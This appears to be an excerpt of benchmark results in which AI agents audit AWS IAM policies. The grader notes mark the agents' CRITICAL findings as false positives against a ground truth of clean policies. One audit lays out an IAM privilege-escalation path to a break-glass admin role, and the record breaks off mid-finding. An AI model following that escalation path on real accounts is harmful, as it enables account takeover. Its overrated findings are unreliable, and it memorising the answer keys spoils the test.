"agent_output": "## IAM Policy Audit: `role/deploy-orchestrator`\n\n---\n\n### Executive Summary\n\nThe permissions policy contains a **critical misconfiguration**: it grants `sts:AssumeRole` on a highly privileged admin role. However, cross-referencing with the trust policy reveals that this grant is **currently non-functional** \u2014 creating a latent/deceptive risk pattern that still warrants remediation. One additional concern exists on the S3 side.\n\n---\n\n## Finding 1 \u2014 Orphaned AssumeRole Grant on Break-Glass Admin Role\n\n**Severity: CRITICAL (Latent / Currently Blocked, but Unacceptable as Policy)**\n\n### What the permissions policy claims to allow\n`role/deploy-orchestrator` is explicitly granted `sts:AssumeRole` on:\n```\narn:aws:iam::488213749302:role/org-admin-break-glass\n```\nThis is an organization-level admin break-glass role. Successfully assuming it would grant **unrestricted administrative access** to the account (and potentially the entire AWS Organization, depending on the role's own permissions).\n\n### Why it is currently blocked\nThe **trust policy** on `org-admin-break-glass` does **not** list `role/deploy-orchestrator` as a trusted principal. It only trusts:\n- `role/security-break-glass-operator`\n- `role/incident-commander`\n\n...and requires `sts:ExternalId: breakglass-2026`.\n\nAWS `sts:AssumeRole` requires **both sides to agree**: the caller needs `sts:AssumeRole` permission *and* the target role's trust policy must authorize the caller. Since the trust policy does not include `deploy-orchestrator`, the assume-role call will be **denied at the resource policy evaluation stage**.\n\n### Why this is still a critical finding\n\n| Risk Vector | Detail |\n|---|---|\n| **Trust policy drift** | If someone adds `role/deploy-orchestrator` to the trust policy (mistake, emergency, social engineering), the permissions policy immediately enables full admin access with zero additional changes required. The attack surface is one edit away. |\n| **Confused deputy / lateral confusion** | The presence of this grant in the permissions policy creates a misleading security posture \u2014 reviewers may assume it works, or future automation may act on it incorrectly. |\n| **ExternalId provides weak protection** | `breakglass-2026` is a static, predictable string. If `deploy-orchestrator` ever did get added to the trust policy, the ExternalId is not a meaningful barrier for an internal role (ExternalId is primarily a confused deputy defense for *cross-account third-party* scenarios, not internal roles). |\n| **Permissions policy should reflect least privilege** | A deploy orchestrator has no legitimate operational reason to ever assume a break-glass admin role. This violates least privilege regardless of whether it currently works. |\n\n### Fix\n**Remove the `AssumeDeployTargetRole` statement entirely** from the permissions policy:\n\n```json\n// DELETE this statement from policy.json:\n{\n \"Sid\": \"AssumeDeployTargetRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/org-admin-break-glass\"\n}\n```\n\nIf `deploy-orchestrator` legitimately needs to assume *some* role for deployment tasks, scope it to a purpose-built, minimally privileged deployment target role \u2014 never a break-glass admin role. Additionally:\n\n- Add an **SCP (Service Control Policy)** at the AWS Organizations level explicitly denying `sts:AssumeRole` on `org-admin-break-glass` for all principals except the two authorized break-glass roles. This provides a hard guardrail independent of IAM policy drift.\n- Consider adding an **IAM permission boundary** on `deploy-orchestrator` that explicitly excludes `sts:AssumeRole` on sensitive roles.\n\n---\n\n## Finding 2 \u2014 S3 Bucket Access: Missing Condition Constraints\n\n**Severity: MEDIUM**\n\n### What the policy allows\n```json\n\"Action\": [\"s3:GetObject\", \"s3:ListBucket\"],\n\"Resource\": [\n \"arn:aws:s3:::deploy-config-eu\",\n \"arn:aws:s3:::deploy-config-eu/*\"\n]\n```\n\n### Issues\n\n**2a. No prefix restriction on `s3:GetObject`**\nThe wildcard `deploy-config-eu/*` allows reading **every object in the bucket**, not just deployment configs relevant to this orchestrator's scope. If the bucket contains configs for multiple environments, teams, or sensitive infrastructure (e.g., credentials embedded in config files, cross-account role ARNs, secrets), this over-reads.\n\n**2b. `s3:ListBucket` without prefix condition enables full enumeration**\nWithout a `Condition: s3:prefix` restriction on `ListBucket`, `deploy-orchestrator` can enumerate the entire bucket contents. This leaks the full key namespace, which can reveal organizational structure, environment names, or other sensitive path information even without reading object contents.\n\n**2c. No `aws:SecureTransport` condition**\nNeither action requires HTTPS, meaning requests over HTTP are technically permitted by this policy (bucket policy permitting).\n\n### Fix\n\nScope to the specific prefix this role needs, enforce TLS:\n\n```json\n{\n \"Sid\": \"ReadDeployConfig\",\n \"Effect\": \"Allow\",\n \"Action\": \"s3:GetObject\",\n \"Resource\": \"arn:aws:s3:::deploy-config-eu/orchestrator/*\",\n \"Condition\": {\n \"Bool\": {\"aws:SecureTransport\": \"true\"}\n }\n},\n{\n \"Sid\": \"ListDeployConfig\",\n \"Effect\": \"Allow\",\n \"Action\": \"s3:ListBucket\",\n \"Resource\": \"arn:aws:s3:::deploy-config-eu\",\n \"Condition\": {\n \"StringLike\": {\"s3:prefix\": [\"orchestrator/*\"]},\n \"Bool\": {\"aws:SecureTransport\": \"true\"}\n }\n}\n```\n\n---\n\n## Finding 3 \u2014 Trust Policy: Static ExternalId on Internal Break-Glass Role\n\n**Severity: LOW (Trust policy issue, not permissions policy, but noted for completeness)**\n\nThe trust policy uses `sts:ExternalId: breakglass-2026` as a condition. For **internal roles within the same account**, ExternalId provides minimal security value \u2014 it is not a secret (it's visible in the trust policy document) and is designed to prevent confused deputy attacks from *external third-party* integrators, not internal principals.\n\nMore critically, the ExternalId value `breakglass-2026` appears to encode a **year**, suggesting it may be intended to expire or rotate \u2014 but IAM will not enforce that automatically.\n\n### Fix\n- Replace ExternalId with a more meaningful condition, e.g., `aws:MultiFactorAuthPresent: true` or `aws:PrincipalTag` checks.\n- Require MFA for break-glass role assumption:\n```json\n\"Condition\": {\n \"Bool\": {\"aws:MultiFactorAuthPresent\": \"true\"},\n \"NumericLessThan\": {\"aws:MultiFactorAuthAge\": \"3600\"}\n}\n```\n- Implement a **rotation mechanism** for the ExternalId if it must be kept, via Secrets Manager + Lambda trust policy updater.\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Status | Fix |\n|---|---|---|---|---|\n| 1 | `deploy-orchestrator` granted AssumeRole on break-glass admin role | **CRITICAL** | Latent (blocked by trust policy today) | Remove statement; add SCP guardrail |\n| 2a | S3 GetObject allows entire bucket, not scoped to prefix | **MEDIUM** | Active | Restrict to `orchestrator/*` prefix |\n| 2b | S3 ListBucket allows full enumeration | **MEDIUM** | Active | Add `s3:prefix` condition |\n| 2c | No `aws:SecureTransport` enforcement | **LOW** | Active | Add `SecureTransport: true` condition |\n| 3 | Static, year-encoded ExternalId on break-glass trust policy | **LOW** | Active | Replace with MFA condition |\n\n---\n\n## Key Takeaway\n\nThe most important principle violated here: **a deploy orchestrator and a break-glass admin role should never appear in the same IAM statement.** The \"it's blocked by the trust policy\" defense is not a security control \u2014 it is an accident waiting to happen. Defense in depth requires that the permissions policy itself not contain this grant.",
"agent_chars": 7613,
"agent_s": 40.9,
"elapsed_s": 51.6
},
{
"fixture": "03-assumerole-broken-trust",
"condition": "control",
"trial": 1,
"score": 3,
"scores_by_item": [
1,
0,
0,
1,
0,
1,
0
],
"notes": [
"Agent correctly parses all statements including the sts:AssumeRole grant and its target resource.",
"Ground truth says findings=[] (the AssumeRole path is broken/inert), but the agent raises it as a CRITICAL finding \u2014 failing to reach the correct conclusion of no real defect.",
"Agent calls the broken AssumeRole grant 'CRITICAL' and 'one change away from full admin' \u2014 this is precisely the false-positive the rubric prohibits for a broken-back AssumeRole.",
"Agent does reason about both sides of the AssumeRole trust relationship (permissions policy + trust policy), recognising the path is currently blocked, though it still over-elevates the severity.",
"Agent headlines the neutralised/broken AssumeRole as CRITICAL rather than recognising it as inert; rubric requires no escalation-to-admin label for a neutralised grant.",
"Agent explicitly names the target role's trust policy as information it had to cross-reference, and notes inability to know whether other changes could close the loop \u2014 matching the boundary the ground truth identifies.",
"Ground truth top fix is 'None needed / optionally remove'; agent recommends mandatory removal and additional hardening, which diverges in substance from the correct 'no fix needed' conclusion."
],
"agent_output": "## IAM Policy Audit: `role/deploy-orchestrator`\n\n---\n\n### Executive Summary\n\nThe permissions policy contains a **critical logical contradiction** that creates a deceptive security posture: the principal is granted permission to assume a highly privileged admin role, but the target role's trust policy **does not list this principal**, making the grant currently non-functional \u2014 but still dangerous for several distinct reasons.\n\n---\n\n## Finding 1: Permission to Assume an Admin Break-Glass Role\n\n**Severity: CRITICAL**\n\n**What the policy says:**\n```json\n{\n \"Sid\": \"AssumeDeployTargetRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/org-admin-break-glass\"\n}\n```\n\n**What this means:**\n`role/deploy-orchestrator` has been granted permission \u2014 on its *own* permissions policy \u2014 to call `sts:AssumeRole` targeting `org-admin-break-glass`. This role name strongly implies broad/full administrative access across the organization (possibly an AWS Organizations management account role).\n\n**Why this is critical regardless of current functionality:**\n`sts:AssumeRole` requires *both* sides to agree:\n1. The caller's permissions policy must allow the call \u2705 (this policy)\n2. The target role's trust policy must list the caller \u274c (it does not)\n\nCurrently the call **will fail**. However:\n\n- **One IAM change away from full admin access:** Any authorized person who modifies the trust policy of `org-admin-break-glass` to add `deploy-orchestrator` \u2014 even temporarily, for legitimate-looking reasons \u2014 instantly grants this automation role org-wide admin. This is a latent privilege escalation path.\n- **Trust policy drift risk:** CI/CD roles are frequently granted additional trust relationships as environments evolve. The existence of this permission normalizes and invites that drift.\n- **It signals intent or a misconfiguration:** Either someone *intended* this role to eventually assume break-glass (a design error), or this statement was added by mistake. Either way it must be removed.\n- **Audit and detection gap:** A security reviewer scanning only the permissions policy sees a deploy role with admin-assumption rights and must then manually cross-reference the trust policy to determine it's currently blocked. This creates alert fatigue and review errors.\n\n**Fix:**\nRemove `AssumeDeployTargetRole` statement entirely. A deploy orchestrator has no legitimate reason to assume an org-wide admin break-glass role. Break-glass access should require human authentication, MFA, and a separate out-of-band process \u2014 never automation.\n\n```json\n// DELETE this entire statement block\n{\n \"Sid\": \"AssumeDeployTargetRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/org-admin-break-glass\"\n}\n```\n\n---\n\n## Finding 2: Trust Policy Grants No MFA or Time-Bound Condition for Break-Glass\n\n**Severity: HIGH** *(on the trust policy itself, independent of Finding 1)*\n\n**What the trust policy does:**\n```json\n\"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"breakglass-2026\"\n }\n}\n```\n\nThe only control on assuming this admin role is an `ExternalId` string. This has several weaknesses:\n\n- **ExternalId is not a secret in a meaningful sense** for same-account or org-internal use. It was designed to prevent the [confused deputy problem](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) for *cross-account third-party* access. For internal principals, anyone who knows or can read this string (e.g., from a config file, code repo, or environment variable) can satisfy the condition.\n- **The value `breakglass-2026` is hardcoded and year-suffixed**, suggesting it rotates annually at best. A static string in a trust policy is not a security control.\n- **No MFA condition** (`aws:MultiFactorAuthPresent: true`) \u2014 meaning a compromised credential can assume this role without a second factor.\n- **No time-of-day or IP condition** \u2014 break-glass access typically warrants IP or network restrictions.\n- **No `sts:TransitiveTagKeys` or session tagging** to create an audit trail of *who* invoked it.\n\n**Fix:**\n```json\n\"Condition\": {\n \"Bool\": {\n \"aws:MultiFactorAuthPresent\": \"true\"\n },\n \"StringEquals\": {\n \"sts:ExternalId\": \"<rotated-secret-managed-in-secrets-manager>\"\n },\n \"IpAddress\": {\n \"aws:SourceIp\": [\"<corporate-vpn-cidr>\"]\n }\n}\n```\nAdditionally, consider using [AWS IAM Identity Center](https://aws.amazon.com/iam/identity-center/) with time-limited permission sets for break-glass, rather than a static IAM role assumption.\n\n---\n\n## Finding 3: S3 Bucket Read Scope \u2014 Verify No Sensitive Credential Material\n\n**Severity: MEDIUM**\n\n**What the policy says:**\n```json\n{\n \"Action\": [\"s3:GetObject\", \"s3:ListBucket\"],\n \"Resource\": [\n \"arn:aws:s3:::deploy-config-eu\",\n \"arn:aws:s3:::deploy-config-eu/*\"\n ]\n}\n```\n\n**Issues:**\n\n- **`s3:ListBucket` on the bucket root** allows enumeration of all object keys. If `deploy-config-eu` contains objects whose *names* reveal sensitive information (environment topology, secret ARNs, account IDs, feature flags), this is an information disclosure risk.\n- **`s3:GetObject` on `/*`** is a full-bucket read. If this bucket contains *any* credentials, deploy tokens, kubeconfig files, or cross-account role ARNs, a compromise of `deploy-orchestrator` immediately exposes all of them.\n- **No resource restriction by prefix:** If the deploy role only needs configs for specific services or environments, scope it to a prefix.\n\n**Fix:**\n```json\n{\n \"Action\": [\"s3:GetObject\"],\n \"Resource\": \"arn:aws:s3:::deploy-config-eu/deploy-orchestrator/*\"\n},\n{\n \"Action\": \"s3:ListBucket\",\n \"Resource\": \"arn:aws:s3:::deploy-config-eu\",\n \"Condition\": {\n \"StringLike\": {\n \"s3:prefix\": [\"deploy-orchestrator/*\"]\n }\n }\n}\n```\nAlso ensure the bucket has:\n- **SSE-KMS** with a key policy that restricts decryption\n- **S3 Block Public Access** enabled\n- **Access logging** to CloudTrail or S3 server access logs\n\n---\n\n## Finding 4: No Explicit Deny or Permission Boundary\n\n**Severity: MEDIUM**\n\nThere is no permission boundary attached to `deploy-orchestrator` and no explicit deny on sensitive action categories (e.g., `iam:*`, `sts:AssumeRole` on `*`, `organizations:*`). For a deploy automation role:\n\n- If the role is ever used to execute untrusted or user-supplied infrastructure-as-code (Terraform, CDK, CloudFormation), the executing process can attempt IAM calls within the bounds of this role's *effective* permissions.\n- The `sts:AssumeRole` permission \u2014 even currently blocked \u2014 means the role *category* of permissions is broader than a pure deploy role needs.\n\n**Fix:**\nAttach a [permissions boundary](https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html) that explicitly denies:\n```json\n{\n \"Effect\": \"Deny\",\n \"Action\": [\n \"iam:*\",\n \"sts:AssumeRole\",\n \"organizations:*\",\n \"account:*\"\n ],\n \"Resource\": \"*\"\n}\n```\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Immediately Exploitable |\n|---|---------|----------|------------------------|\n| 1 | `sts:AssumeRole` on org-admin break-glass role granted to deploy automation | **CRITICAL** | No (trust policy mismatch), but one change away |\n| 2 | Break-glass trust policy lacks MFA, relies on static ExternalId | **HIGH** | Yes (for listed principals) |\n| 3 | Full S3 bucket read with no prefix scoping | **MEDIUM** | Yes (on bucket compromise) |\n| 4 | No permission boundary on deploy role | **MEDIUM** | Conditionally |\n\n---\n\n## Priority Actions\n\n1. **Immediately remove** `AssumeDeployTargetRole` from the permissions policy. There is no valid operational justification for a deploy orchestrator to assume an org admin role.\n2. **Audit `org-admin-break-glass` trust policy history** via CloudTrail (`UpdateAssumeRolePolicy` events) to determine if `deploy-orchestrator` was *ever* listed \u2014 which would indicate actual exploitation or testing.\n3. **Scope S3 permissions** to a key prefix and audit bucket contents for credential material.\n4. **Add MFA condition** to the break-glass trust policy and treat ExternalId as a rotating secret.",
"agent_chars": 8117,
"agent_s": 44.3,
"elapsed_s": 53.4
},
{
"fixture": "03-assumerole-broken-trust",
"condition": "control",
"trial": 2,
"score": 3,
"scores_by_item": [
1,
0,
0,
1,
0,
1,
0
],
"notes": [
"Agent correctly parses the sts:AssumeRole statement and identifies the target role and trust policy conditions.",
"Ground truth says findings=[] (clean/inert); agent incorrectly identifies a CRITICAL finding where none exists, failing to recognize the broken trust path as truly inert.",
"Agent asserts a material CRITICAL privilege escalation defect that the ground truth explicitly says does not exist; this is a false positive on the neutralized AssumeRole grant.",
"Agent does correctly reason across both the permissions policy and the target trust policy simultaneously, recognizing the trust policy blocks the action \u2014 but draws the wrong conclusion about severity.",
"Agent headlines the neutralized AssumeRole grant as CRITICAL, directly contradicting the ground truth which classifies the policy as clean with no real escalation.",
"Agent correctly identifies that it cannot determine the full picture without the target role's trust policy contents and other principals, matching the ground-truth boundary.",
"Ground truth top fix is 'None needed' (or optionally remove the unused grant); agent recommends immediate removal as the primary fix, which is directionally acceptable but frames it as urgent remediation of a live vulnerability rather than optional cleanup of an inert grant."
],
"agent_output": "## IAM Policy Audit: `role/deploy-orchestrator`\n\n---\n\n### Executive Summary\n\nThe permissions policy contains a **critical privilege escalation attempt**, but the trust policy on the target role **currently blocks it**. However, this creates a dangerous and fragile security posture that requires immediate remediation. There is also a secondary misconfiguration in the S3 permissions.\n\n---\n\n## Finding 1 \u2014 Privilege Escalation Path to Admin Role (CRITICAL / Currently Blocked)\n\n### What the policy grants\n`role/deploy-orchestrator` has explicit `sts:AssumeRole` permission targeting `arn:aws:iam::488213749302:role/org-admin-break-glass`, which by naming convention and context is an **organization-wide administrator role**.\n\n### Why this is a critical misconfiguration regardless of the trust policy\n\nThe permissions policy (attached to the principal) and the trust policy (attached to the target) are **two independent access control gates**. Both must allow the action for AssumeRole to succeed.\n\n**Current state:** The trust policy on `org-admin-break-glass` only permits:\n- `role/security-break-glass-operator`\n- `role/incident-commander`\n\n...and requires `sts:ExternalId: breakglass-2026`. `role/deploy-orchestrator` is **not listed**, so the assumption **will be denied today**.\n\n**Why this is still a critical finding:**\n\n| Risk Vector | Detail |\n|---|---|\n| **Trust policy drift** | Any future edit to the trust policy (adding `deploy-orchestrator`, widening to `\"AWS\": \"*\"`, or removing the ExternalId condition) immediately grants full admin access with zero additional change required on the permissions side |\n| **Permissions side is already armed** | The `sts:AssumeRole` permission should not exist here at all. Defense-in-depth requires that the permissions policy *also* denies this |\n| **ExternalId is not a secret** | `breakglass-2026` is embedded in the trust policy document, which is readable by anyone with `iam:GetRole` in the account. If the trust policy were misconfigured to include `deploy-orchestrator`, the ExternalId provides no additional barrier |\n| **Confused deputy risk** | If any other role or service can influence what `deploy-orchestrator` does (e.g., via the deploy-config bucket \u2014 see Finding 2), an attacker could chain bucket content manipulation \u2192 role assumption |\n| **Org-level blast radius** | The target role name `org-admin-break-glass` implies cross-account or organization-wide admin. Successful assumption would be a full compromise |\n\n### Severity\n**CRITICAL** \u2014 The permission should not exist on a deploy orchestrator under any circumstances. The protection is entirely dependent on a separate resource's trust policy remaining correctly configured.\n\n### Fix\n\n**Step 1:** Remove the `AssumeDeployTargetRole` statement entirely from `deploy-orchestrator`'s permissions policy. A deployment orchestrator has no legitimate need to assume a break-glass admin role.\n\n```json\n// DELETE this entire statement block:\n{\n \"Sid\": \"AssumeDeployTargetRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"sts:AssumeRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/org-admin-break-glass\"\n}\n```\n\n**Step 2:** Add an explicit SCP (Service Control Policy) at the AWS Organizations level to prevent any non-break-glass role from ever assuming break-glass roles:\n\n```json\n{\n \"Sid\": \"DenyBreakGlassAssumeByAutomation\",\n \"Effect\": \"Deny\",\n \"Action\": \"sts:AssumeRole\",\n \"Resource\": \"arn:aws:iam::*:role/*break-glass*\",\n \"Condition\": {\n \"StringNotEquals\": {\n \"aws:PrincipalArn\": [\n \"arn:aws:iam::488213749302:role/security-break-glass-operator\",\n \"arn:aws:iam::488213749302:role/incident-commander\"\n ]\n }\n }\n}\n```\n\n**Step 3:** Rotate or remove the `ExternalId` value from the trust policy document since it is now semi-public. Replace it with a value unknown to anyone who can read the policy.\n\n---\n\n## Finding 2 \u2014 S3 Read Access Creates Escalation Chain Input (HIGH)\n\n### What the policy grants\n`s3:GetObject` and `s3:ListBucket` on `deploy-config-eu` and all objects within it.\n\n### Why this is a problem in this context\n\nThis is the critical **chaining risk** that elevates the severity of Finding 1:\n\n```\nAttacker writes malicious content to deploy-config-eu\n \u2193\ndeploy-orchestrator reads config (legitimate behavior)\n \u2193\nOrchestrator acts on malicious instructions\n \u2193\nIf sts:AssumeRole grant persists, orchestrator assumes org-admin-break-glass\n```\n\nAdditionally:\n- `s3:ListBucket` is granted on the **bucket ARN** (`arn:aws:s3:::deploy-config-eu`) \u2014 this is correct syntax\n- `s3:GetObject` is granted on the **wildcard prefix** (`arn:aws:s3:::deploy-config-eu/*`) \u2014 this is also correct syntax\n- However, the wildcard `/*` means the role can read **every object** in the bucket with no path restriction\n\n### Severity\n**HIGH** (as a standalone finding); **CRITICAL** when combined with Finding 1 remaining unremediated\n\n### Fix\n\n**Step 1:** Scope object access to only the specific path prefix this role legitimately needs:\n\n```json\n{\n \"Sid\": \"ReadDeployConfig\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"s3:GetObject\",\n \"s3:ListBucket\"\n ],\n \"Resource\": [\n \"arn:aws:s3:::deploy-config-eu\"\n ],\n \"Condition\": {\n \"StringLike\": {\n \"s3:prefix\": \"orchestrator/config/*\"\n }\n }\n},\n{\n \"Sid\": \"ReadDeployConfigObjects\",\n \"Effect\": \"Allow\",\n \"Action\": \"s3:GetObject\",\n \"Resource\": \"arn:aws:s3:::deploy-config-eu/orchestrator/config/*\"\n}\n```\n\n**Step 2:** Enable S3 Object Integrity controls and versioning on `deploy-config-eu`, and require the orchestrator to validate a cryptographic signature or checksum on any config it reads before acting on it. This breaks the supply-chain manipulation vector.\n\n**Step 3:** Ensure the bucket policy on `deploy-config-eu` restricts **write access** to a separate, tightly controlled role (not readable here, but must be verified):\n\n```json\n{\n \"Sid\": \"DenyWriteFromOrchestrator\",\n \"Effect\": \"Deny\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::488213749302:role/deploy-orchestrator\"\n },\n \"Action\": [\"s3:PutObject\", \"s3:DeleteObject\"],\n \"Resource\": \"arn:aws:s3:::deploy-config-eu/*\"\n}\n```\n\n---\n\n## Finding 3 \u2014 Trust Policy Condition Is Insufficient Alone (MEDIUM)\n\n### What the trust policy does\nRestricts `org-admin-break-glass` assumption to two specific roles with an ExternalId condition.\n\n### Why this is insufficient as the sole control\n\n| Issue | Detail |\n|---|---|\n| **No MFA condition** | Break-glass roles should require `\"Bool\": {\"aws:MultiFactorAuthPresent\": \"true\"}` to prevent automated/programmatic assumption |\n| **No IP/network condition** | Should restrict to known corporate IP ranges or require AWS VPN/Direct Connect source |\n| **No time condition** | Cannot be expressed natively in IAM, but access should be monitored via CloudTrail with automated alerting |\n| **ExternalId is static and embedded in policy** | Readable by anyone with `iam:GetRole`; provides weak protection |\n| **No session duration constraint** | Should set `\"NumericLessThanEquals\": {\"sts:DurationSeconds\": \"3600\"}` to limit blast radius of any session |\n\n### Fix\n\nHarden the trust policy with additional conditions:\n\n```json\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"HardenedBreakGlassAccess\",\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": [\n \"arn:aws:iam::488213749302:role/security-break-glass-operator\",\n \"arn:aws:iam::488213749302:role/incident-commander\"\n ]\n },\n \"Action\": \"sts:AssumeRole\",\n \"Condition\": {\n \"StringEquals\": {\n \"sts:ExternalId\": \"<rotated-secret-value>\"\n },\n \"Bool\": {\n \"aws:MultiFactorAuthPresent\": \"true\"\n },\n \"NumericLessThanEquals\": {\n \"sts:DurationSeconds\": \"3600\"\n },\n \"IpAddress\": {\n \"aws:SourceIp\": [\"<corporate-ip-range>/32\"]\n }\n }\n }\n ]\n}\n```\n\n---\n\n## Summary Table\n\n| # | Finding | Severity | Status |\n|---|---|---|---|\n| 1 | `deploy-orchestrator` has `sts:AssumeRole` on admin break-glass role | **CRITICAL** | Blocked by trust policy today; one config change away from full compromise |\n| 2 | S3 wildcard read enables config manipulation \u2192 escalation chain | **HIGH** | Active; path prefix should be scoped |\n| 3 | Trust policy relies solely on static ExternalId, no MFA/IP/duration | **MEDIUM** | Active; defense-in-depth insufficient for a break-glass role |\n\n---\n\n## Priority Actions\n\n1. **Immediate (today):** Remove `AssumeDeployTargetRole` statement from `deploy-orchestrator` permissions policy\n2. **Immediate (today):** Scope S3 access to a specific key prefix\n3. **This week:** Add SCP to block automation roles from assuming any `*break-glass*` role\n4. **This week:** Harden trust policy with MFA, IP, and duration conditions; rotate ExternalId\n5. **Ongoing:** Alert on any `sts:AssumeRole` calls targeting `org-admin-break-glass` via CloudTrail \u2192 CloudWatch \u2192 SNS with zero tolerance for automated sources",
"agent_chars": 8962,
"agent_s": 47.1,
"elapsed_s": 55.9
},
{
"fixture": "05-iam-mutation-boundary-capped",
"condition": "control",
"trial": 0,
"score": 3,
"scores_by_item": [
1,
0,
0,
1,
0,
1,
0
],
"notes": [
"Agent correctly parses both policies, recognizes the Deny in policy-2 covers Resource '*', and identifies the full set of sensitive actions in policy-1.",
"Ground truth says findings=[] (clean fixture); agent reports four findings including CRITICAL/HIGH/MEDIUM, failing to recognize this is a clean policy.",
"Agent asserts multiple material defects (CRITICAL latent escalation, HIGH CreateAccessKey misconfiguration, MEDIUM PassRole abuse) that the ground truth says do not exist because the Deny fully neutralises the kit.",
"Agent correctly reasons across both policies and understands the Deny overrides the Allow, but then contradicts itself by treating the now-neutralised grants as real findings.",
"Agent headlines a neutralised grant as CRITICAL and rates the overall verdict as critical risk, whereas ground truth says the role is effectively read-only and clean.",
"Agent names other attached policies, automation, and org SCPs as things it cannot determine, which matches the ground-truth boundary acknowledgment.",
"Ground truth top fix is 'none needed for security'; agent recommends replacing policy-2 with a real Permission Boundary, which contradicts the correct answer of no fix required."
],
"agent_output": "# IAM Policy Audit: `identity-platform-operator`\n\n---\n\n## Executive Summary\n\n**The net-effective permission set for this principal is almost entirely benign** \u2014 the broad Deny in policy-2 cancels every dangerous action granted in policy-1. However, there are **three real findings** worth documenting: one architectural flaw that creates a latent critical risk, one medium misconfiguration, and one low/informational gap.\n\n---\n\n## How AWS IAM Evaluates These Two Policies\n\nBefore findings: the evaluation order matters enormously here.\n\n```\nExplicit Deny (any policy) \u2192 DENY [stops evaluation]\n \u2193\nExplicit Allow \u2192 ALLOW\n \u2193\nDefault \u2192 DENY\n```\n\nAn explicit Deny in an identity-based policy **always overrides** an Allow in another identity-based policy attached to the same principal. Policy-2's Deny statement covers `Resource: \"*\"`, which is a superset of policy-1's specific ARNs. Therefore every action listed in policy-1 is **effectively denied at runtime**.\n\n---\n\n## Finding 1 \u2014 CRITICAL (Latent) | Policy-2 Is Not a Permission Boundary; It Is a Deletable Policy\n\n### What Is Actually Wrong\n\nPolicy-2 is described in context as a \"permission-boundary-style\" control, but it is **not** an IAM Permission Boundary (`iam:PutRolePermissionsBoundary`). It is a second ordinary identity-based policy attached to the role.\n\nThis distinction is fatal to the security model:\n\n| Property | Permission Boundary | Attached Identity Policy (what policy-2 is) |\n|---|---|---|\n| Can be removed by the role itself? | Only if the role has `iam:DeleteRolePermissionsBoundary` | **Yes**, if the role has `iam:DetachRolePolicy` on itself |\n| Can be replaced? | Only if the role has `iam:PutRolePermissionsBoundary` | **Yes**, if the role has `iam:CreatePolicyVersion`/`iam:SetDefaultPolicyVersion` on the policy ARN |\n| Survives policy detach? | Yes \u2014 independently enforced by IAM | **No** \u2014 removing it restores full Allow from policy-1 |\n\n### The Privilege-Escalation Path\n\n```\nStep 1: identity-platform-operator calls\n iam:DetachRolePolicy\n Principal: arn:aws:iam::488213749302:role/identity-platform-operator\n PolicyArn: arn:aws:iam::488213749302:policy/<policy-2-arn>\n\n \u2192 Is iam:DetachRolePolicy in policy-2's Deny list? NO.\n \u2192 Is it Allowed anywhere? Not explicitly,\n so this specific action is default-denied.\n```\n\nWait \u2014 that specific action is **not** currently allowed. So the role cannot detach policy-2 today. **But consider the real latent risk:**\n\n```\nStep 2: Any operator or automation with iam:DetachRolePolicy\n on this role (e.g., a CI/CD pipeline, another admin role,\n or a future policy-1 amendment) removes policy-2.\n\nStep 3: policy-1 Allows are now fully effective.\n identity-platform-operator can now:\n iam:PutRolePolicy \u2192 inject arbitrary inline policy into break-glass-admin\n iam:AttachRolePolicy \u2192 attach AdministratorAccess to break-glass-admin\n iam:UpdateAssumeRolePolicy \u2192 add identity-platform-operator as a trusted principal\n iam:PassRole \u2192 pass break-glass-admin to any AWS service\n iam:CreateAccessKey \u2192 mint long-lived credentials for break-glass-admin\n\nStep 4: Assume break-glass-admin \u2192 full account administrator.\n```\n\nThe entire security model depends on policy-2 remaining attached. That is a single point of failure with no technical enforcement.\n\n### Severity\n\n**CRITICAL** \u2014 One detach operation (by any sufficiently privileged actor, misconfigured automation, or Terraform drift) converts this role into a full privilege-escalation primitive.\n\n### Fix\n\nReplace policy-2's Deny attachment with an **actual IAM Permission Boundary** on the role:\n\n```json\n// permission-boundary.json (attach via iam:PutRolePermissionsBoundary)\n{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"DenyAllIdentityMutation\",\n \"Effect\": \"Deny\",\n \"Action\": [\n \"iam:PutRolePolicy\",\n \"iam:PutUserPolicy\",\n \"iam:PutGroupPolicy\",\n \"iam:AttachRolePolicy\",\n \"iam:AttachUserPolicy\",\n \"iam:AttachGroupPolicy\",\n \"iam:DetachRolePolicy\",\n \"iam:DetachUserPolicy\",\n \"iam:DetachGroupPolicy\",\n \"iam:CreatePolicyVersion\",\n \"iam:SetDefaultPolicyVersion\",\n \"iam:UpdateAssumeRolePolicy\",\n \"iam:PassRole\",\n \"iam:CreateAccessKey\",\n \"iam:CreateLoginProfile\",\n \"iam:UpdateLoginProfile\",\n \"iam:AddUserToGroup\",\n \"iam:DeleteRolePermissionsBoundary\", // prevent self-removal\n \"sts:AssumeRole\"\n ],\n \"Resource\": \"*\"\n },\n {\n \"Sid\": \"AllowReadOnly\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\",\n \"iam:GetPolicy\",\n \"iam:GetPolicyVersion\",\n \"iam:ListRolePolicies\",\n \"iam:ListAttachedRolePolicies\"\n ],\n \"Resource\": \"*\"\n }\n ]\n}\n```\n\nThen apply via SCP or a Deny in the management account to prevent any principal from calling `iam:DeleteRolePermissionsBoundary` on this role's ARN.\n\n---\n\n## Finding 2 \u2014 HIGH | `iam:CreateAccessKey` Scoped to a Role ARN Is Ineffective and Misleading\n\n### What Is Actually Wrong\n\n```json\n\"Action\": \"iam:CreateAccessKey\",\n\"Resource\": 